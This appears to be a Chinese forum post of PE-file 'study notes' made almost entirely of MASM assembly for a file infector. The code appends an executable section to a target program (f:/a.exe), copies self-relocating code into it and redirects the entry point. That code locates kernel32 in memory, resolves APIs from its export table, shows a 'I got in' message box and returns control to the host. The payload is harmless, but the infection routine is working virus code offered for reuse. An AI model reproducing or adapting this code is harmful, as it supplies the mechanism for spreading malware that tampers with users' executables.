将上两个例子综合了一下
pe文件学习笔记1-----为PE文件添加节
pe文件学习笔记2-----动态获取api
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
;##########
InfectFile proto :dword
GetApiA proto :DWORD,:DWORD
;#########
.code
;###############插入代码############################
VStart:
appBase dd ?
k32Base dd ?
HostEntry dd ?
;#############################################
sGetModuleHandle db "GetModuleHandleA",0
sGetProcAddress db "GetProcAddress",0
sExitProcess db "ExitProcess",0
sLoadLibrary db "LoadLibraryA",0
sMessageBoxA db "MessageBoxA",0
aGetModuleHandle dd 0
aGetProcAddress dd 0
aExitProcess dd 0
aLoadLibrary dd 0
aMessageBoxA dd 0
u32 db "User32.dll",0
k32 db "Kernel32.dll",0
sztit db "by 无理取闹",0
szMsg db "我进来了,呵呵!",0
szBuffer db 256 dup (?)
lpApiAddrs label near
dd offset sGetModuleHandle
dd offset sGetProcAddress
dd offset sExitProcess
dd offset sLoadLibrary
dd 0
;################获取api#########################################################
GetApiA proc Base:DWORD,sApi:DWORD
local @dwStringLength
local @return
pushad
;#############计算api的长度#########################
mov edi,sApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,sApi
mov @dwStringLength,ecx
;####################################
mov esi,Base
add esi,[esi+3ch]
mov esi,[esi+78h];[edi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress]
add esi,Base;得到edi=IMAGE_EXPORT_DIRECTORY入口
mov ebx,[esi+20h];AddressOfNames
add ebx,Base
xor edx,edx
next: ;得到匹配函数的AddressOfNames数组中的RVA
push esi
mov esi,sApi
mov edi,[ebx]
add edi,Base
mov ecx,@dwStringLength
repz cmpsb
jnz goon
pop esi
jmp found
goon: pop esi
add ebx,4
inc edx
cmp edx,[esi+18h]
jb next
found:
sub ebx,[esi+20h];AddressOfNames
sub ebx,Base
shr ebx,1 ;AddressOfNameOrdinals是word数组,所以RVA应该除以2来求出AddressOfNameOrdinals的RVA
add ebx,[esi+24h];AddressOfNameOrdinals
add ebx,Base
movzx eax,word ptr [ebx];AddressOfNameOrdinals是word数组
;mov eax,edx
shl eax,2 ;AddressOfName是dword数组,所以序号应该乘以4个字节
add eax,[esi+1ch];AddressOfFunctions
add eax,Base
mov eax,[eax]
add eax,Base
mov @return,eax
popad
mov eax,@return
ret
GetApiA endp
;###############程序真正入口点######################################################
VBegin:
call @F
@@:
pop ebp
sub ebp,offset @B ;重定位
mov ecx,[esp]
xor edx,edx
and ecx,0FFFF0000h
getK32:
sub ecx,010000h
cmp word ptr [ecx],IMAGE_DOS_SIGNATURE
jnz getK32
mov esi,ecx
add esi,[esi+3ch]
cmp dword ptr [esi],IMAGE_NT_SIGNATURE
jnz getK32
mov [ebp+offset k32Base],ecx
;#######################################
lea edi,[ebp+offset aGetModuleHandle]
lea esi,[ebp+offset lpApiAddrs]
loop_get:
lodsd
cmp eax,0
jz End_Get
add eax,ebp
push eax
push dword ptr [ebp+offset k32Base]
call GetApiA ;获取API地址
stosd
jmp loop_get
End_Get:
lea edx,[ebp+u32]
push edx
call [ebp+aLoadLibrary] ;在程序空间加载User32.dll
lea edx,[ebp+sMessageBoxA]
push edx
push eax
mov eax,dword ptr [ebp+aGetProcAddress] ;用GetProcAddress获得MessageBoxA的地址
call eax ;调用GetProcAddress
push 40h+1000h ;style
lea ecx,[ebp+offset sztit]
push ecx ;title
lea edx,[ebp+offset szMsg]
push edx ;消息内容
push 0
call eax
;################返回原程序入口###################################################
xor eax,eax
add eax,[ebp+HostEntry]
jmp eax
VEnd:
;######################################################
filename db "f:/a.exe" ;添加目标文件
write db 0
;################添加节的操作过程###########################
InfectFile proc _filename:dword
local hFile
local hMapping
local pMapping
local @dwAddCodeFile
local @dwAddCodeBase
local @dwEntry
;#######################打开文件##########################################################
invoke CreateFile,_filename,\
GENERIC_READ+GENERIC_WRITE,\
FILE_SHARE_READ+FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.if eax == INVALID_HANDLE_VALUE
jmp exit2
.endif
mov hFile,eax
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,0
mov hMapping,eax
invoke MapViewOfFile,hMapping,FILE_MAP_READ+FILE_MAP_WRITE,0,0,0
mov pMapping,eax
;########################找到pe头#########################################################
mov esi,eax
assume esi:ptr IMAGE_DOS_HEADER
cmp word ptr [esi],IMAGE_DOS_SIGNATURE
jnz Exit
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
cmp dword ptr [esi],IMAGE_NT_SIGNATURE
jnz Exit
;#######################添加新节##########################################################
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
add eax,[esi].OptionalHeader.ImageBase
mov HostEntry,eax ;保存原程序入口地址
;判断是否能够有空间插入新节
movzx eax,[esi].FileHeader.NumberOfSections
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
add eax,sizeof IMAGE_NT_HEADERS
add eax,esi
mov edi,eax
add eax,sizeof IMAGE_SECTION_HEADER
sub eax,pMapping
cmp eax,[esi].OptionalHeader.SizeOfHeaders
ja Exit
;添加新节,edi为新节
inc [esi].FileHeader.NumberOfSections
mov ebx,edi
sub ebx,28h
assume edi:ptr IMAGE_SECTION_HEADER ;新节
assume ebx:ptr IMAGE_SECTION_HEADER ;旧节
mov dword ptr[edi],'fh.'
;#########################################################
;VirtualSize等于插入代码按SectionAlignment值对齐
push offset VEnd-offset VStart
pop [edi].Misc.VirtualSize
;SizeOfRawData=插入代码长度按FileAlignment值对齐
mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
;PointerToRawData
mov eax,[ebx].PointerToRawData ;上一节的PointerToRawData
add eax,[ebx].SizeOfRawData ;上一节的SizeOfRawData
mov [edi].PointerToRawData,eax ;PointerToRawData=前两个值相加
mov [edi].Characteristics,0E0000020h ;节属性设置为可读可写可执行
;AddressOfEntryPoint,使新节可以正确加载并首先执行
mov eax,[ebx].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[ebx].VirtualAddress
mov [edi].VirtualAddress,eax
;############修改入口地址################################################
;push [edi].VirtualAddress
;pop [esi].OptionalHeader.AddressOfEntryPoint
mov eax,[edi].VirtualAddress
add eax,(offset VBegin-offset VStart)
mov [esi].OptionalHeader.AddressOfEntryPoint,eax
;更新SizeOfImage
mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[esi].OptionalHeader.SizeOfImage
mov [esi].OptionalHeader.SizeOfImage,eax
;写入新节
invoke SetFilePointer,hFile,0,0,FILE_END
invoke WriteFile,hFile,offset VStart,[edi].SizeOfRawData,offset write,0
;########################结束#############################################################
Exit: invoke UnmapViewOfFile,pMapping
invoke CloseHandle,hMapping
exit2: invoke CloseHandle,hFile
ret
InfectFile endp
start:
invoke InfectFile,offset filename
invoke ExitProcess,NULL
end start
[此贴子已经被作者于2007-8-22 20:30:19编辑过]